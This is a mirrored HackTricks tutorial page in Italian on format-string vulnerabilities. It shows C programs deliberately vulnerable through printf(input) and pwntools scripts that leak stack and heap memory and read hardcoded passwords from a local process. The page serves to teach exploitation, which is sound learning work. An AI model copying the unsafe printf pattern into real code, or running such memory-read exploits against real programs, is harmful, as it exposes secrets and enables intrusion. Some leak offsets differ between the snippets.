mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
194 lines
7 KiB
Markdown
194 lines
7 KiB
Markdown
# Esempio di Lettura Arbitraria - Stringhe di Formato
|
|
|
|
{% hint style="success" %}
|
|
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Sostieni HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Inizio Lettura Binaria
|
|
|
|
### Codice
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main(void) {
|
|
char buffer[30];
|
|
|
|
fgets(buffer, sizeof(buffer), stdin);
|
|
|
|
printf(buffer);
|
|
return 0;
|
|
}
|
|
```
|
|
Compilalo con:
|
|
```python
|
|
clang -o fs-read fs-read.c -Wno-format-security -no-pie
|
|
```
|
|
### Sfruttare
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./fs-read')
|
|
|
|
payload = f"%11$s|||||".encode()
|
|
payload += p64(0x00400000)
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean())
|
|
```
|
|
* L'**offset è 11** perché impostando diverse A e **forzando** con un ciclo gli offset da 0 a 50, si è scoperto che all'offset 11 e con 5 caratteri extra (pipe `|` nel nostro caso), è possibile controllare un intero indirizzo.
|
|
* Ho usato **`%11$p`** con padding fino a quando ho visto che l'indirizzo era tutto 0x4141414141414141
|
|
* Il **payload della stringa di formato è PRIMA dell'indirizzo** perché il **printf smette di leggere a un byte nullo**, quindi se inviamo prima l'indirizzo e poi la stringa di formato, il printf non raggiungerà mai la stringa di formato poiché troverà prima un byte nullo
|
|
* L'indirizzo selezionato è 0x00400000 perché è dove inizia il binario (senza PIE)
|
|
|
|
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
|
|
|
|
## Leggere le password
|
|
```c
|
|
#include <stdio.h>
|
|
#include <string.h>
|
|
|
|
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
|
|
|
|
int main() {
|
|
char stack_password[20] = "secretStackPass"; // Password in stack
|
|
char input1[20], input2[20];
|
|
|
|
printf("Enter first password: ");
|
|
scanf("%19s", input1);
|
|
|
|
printf("Enter second password: ");
|
|
scanf("%19s", input2);
|
|
|
|
// Vulnerable printf
|
|
printf(input1);
|
|
printf("\n");
|
|
|
|
// Check both passwords
|
|
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
|
|
printf("Access Granted.\n");
|
|
} else {
|
|
printf("Access Denied.\n");
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
```
|
|
Compilalo con:
|
|
```bash
|
|
clang -o fs-read fs-read.c -Wno-format-security
|
|
```
|
|
### Leggi dalla pila
|
|
|
|
La variabile locale **`stack_password`** sarà memorizzata nella pila perché è una variabile locale, quindi basta abusare di printf per mostrare il contenuto della pila. Questo è un exploit per BF le prime 100 posizioni per ottenere in modo non autorizzato le password dalla pila:
|
|
```python
|
|
from pwn import *
|
|
|
|
for i in range(100):
|
|
print(f"Try: {i}")
|
|
payload = f"%{i}$s\na".encode()
|
|
p = process("./fs-read")
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output)
|
|
p.close()
|
|
```
|
|
Nell'immagine è possibile vedere che possiamo ottenere in modo non autorizzato la password dalla stack nella `10a` posizione:
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1234).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
|
|
|
|
### Lettura dei dati
|
|
|
|
Eseguendo lo stesso exploit ma con `%p` invece di `%s` è possibile ottenere in modo non autorizzato un indirizzo di heap dalla stack in `%25$p`. Inoltre, confrontando l'indirizzo ottenuto (`0xaaaab7030894`) con la posizione della password in memoria in quel processo possiamo ottenere la differenza tra gli indirizzi:
|
|
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
Ora è il momento di trovare come controllare un indirizzo nella stack per accedervi dalla seconda vulnerabilità della stringa di formato:
|
|
```python
|
|
from pwn import *
|
|
|
|
def leak_heap(p):
|
|
p.sendlineafter(b"first password:", b"%5$p")
|
|
p.recvline()
|
|
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
|
return int(response, 16)
|
|
|
|
for i in range(30):
|
|
p = process("./fs-read")
|
|
|
|
heap_leak_addr = leak_heap(p)
|
|
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
|
|
|
password_addr = heap_leak_addr - 0x126a
|
|
|
|
print(f"Try: {i}")
|
|
payload = f"%{i}$p|||".encode()
|
|
payload += b"AAAAAAAA"
|
|
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output.decode("utf-8"))
|
|
p.close()
|
|
```
|
|
E' possibile vedere che nel **tentativo 14** con il passaggio utilizzato possiamo controllare un indirizzo:
|
|
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
### Sfruttare
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process("./fs-read")
|
|
|
|
def leak_heap(p):
|
|
# At offset 25 there is a heap leak
|
|
p.sendlineafter(b"first password:", b"%25$p")
|
|
p.recvline()
|
|
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
|
|
return int(response, 16)
|
|
|
|
heap_leak_addr = leak_heap(p)
|
|
print(f"Leaked heap: {hex(heap_leak_addr)}")
|
|
|
|
# Offset calculated from the leaked position to the possition of the pass in memory
|
|
password_addr = heap_leak_addr + 0x1f7bc
|
|
|
|
print(f"Calculated address is: {hex(password_addr)}")
|
|
|
|
# At offset 14 we can control the addres, so use %s to read the string from that address
|
|
payload = f"%14$s|||".encode()
|
|
payload += p64(password_addr)
|
|
|
|
p.sendline(payload)
|
|
output = p.clean()
|
|
print(output)
|
|
p.close()
|
|
```
|
|
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
{% hint style="success" %}
|
|
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Sostieni HackTricks</summary>
|
|
|
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
|
|
|
</details>
|
|
{% endhint %}
|